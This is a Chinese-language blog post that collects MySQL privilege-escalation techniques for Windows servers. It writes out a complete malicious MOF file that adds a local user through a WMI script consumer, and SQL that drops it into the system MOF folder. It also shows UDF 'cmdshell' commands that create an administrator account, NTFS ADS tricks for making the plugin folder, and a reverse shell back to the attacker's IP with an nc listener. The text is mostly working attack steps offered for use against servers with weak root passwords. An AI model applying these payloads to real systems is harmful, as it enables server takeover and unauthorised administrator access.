標籤:
最近在測試一個項目,遇到了MYSQL資料庫,想盡辦法提權,最終都沒有成功,很是鬱悶,可能是自己很久沒有研究過提權導致的吧,總結一下MYSQL提權的各種姿勢吧,權當複習了。關於mysql提權的方法也就那麼幾種,希望也能幫到各位小夥伴們。
一、利用mof提權
前段時間國外Kingcope大牛發布了mysql遠程提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),劍心牛對MOF利用進行了分析,如下:
Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 存放庫的管理物件格式 (MOF) 檔案:
方法 1: 運行 MOF 檔案指定為命令列參數將 Mofcomp.exe 檔。
方法 2: 使用 IMofCompiler 介面和 $ CompileFile 方法。
方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 檔案夾的 MOF 檔案。
Microsoft 建議您到存放庫編譯 MOF 檔案使用前兩種方法。也就是運行 Mofcomp.exe 檔,或使用 IMofCompiler::CompileFile 方法。
第三種方法僅為向後相容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本後,不應使用。
具體到mysql提權中,我們又該怎麼利用呢?
1、找一個可寫目錄上傳mof檔案,我這裡上傳到了 C:/wmpub/nullevt.mof 代碼如下。
#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{ EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{ Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";};instance of __FilterToConsumerBinding{ Consumer = $Consumer; Filter = $EventFilter;};
其中的第18行的命令,上傳前請自己更改。
2、執行load_file及into dumpfile把檔案匯出到正確的位置即可。
select load_file(‘C:/wmpub/nullevt.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof‘
執行成功後,即可添加一個普通使用者,然後你可以更改命令,再上傳匯出執行把使用者提升到管理員權限,然後3389串連之就ok了。
二、利用UDF提權
udf提權這是最常見的提權方式了,但是往往在執行過程中老是遇到"Can‘t open shared library"的情況,這裡我們可以利用NTFS ADS流來解決這個問題。
1、最常見的是直接使用udf.php此類的工具來執行udf提權,具體如下。
串連到mysql以後,先匯出udf.dll到c:\windows\system32目錄下。
2、建立相應的函數並執行命令,具體如下:
create function cmdshell returns string soname ‘udf.dll‘;select cmdshell(‘net user waitalone waitalone.cn /add‘);select cmdshell(‘net localgroup administrators waitalone /add‘);drop function cmdshell; 刪除函數delete from mysql.func where name=‘cmdshell‘ 刪除函數
3、某些情況下,我們會遇到Can‘t open shared library的情況,這時就需要我們把udf.dll匯出到lib\plugin目錄下才可以,但是預設情況下plugin不存在,怎麼辦? 還好有大牛研究出了利用NTFS ADS流來建立檔案夾的方法
select @@basedir; //尋找到mysql的目錄select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘; //利用NTFS ADS建立lib目錄select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;//利用NTFS ADS建立plugin目錄
執行成功以後再進行匯出即可。
三、反彈連接埠串連提權
假如我們掃到了一個mysql的root弱密碼,並且可以外連,但是伺服器上面的網站又無法Getshell,這時我們怎麼辦呢?
1、利用mysql用戶端工具串連mysql伺服器,然後執行下面的操作。
mysql.exe -h 172.16.10.11 -uroot -pEnter password:mysql> \. c:\mysql.txtmysql>select backshell("YourIP",2010);
2、本地監聽你反彈的連接埠
nc.exe -vv -l -p 2010
成功後,你將獲得一個system許可權的cmdshell,其實這個也是利用的UDF提權。
MYSQL提權總結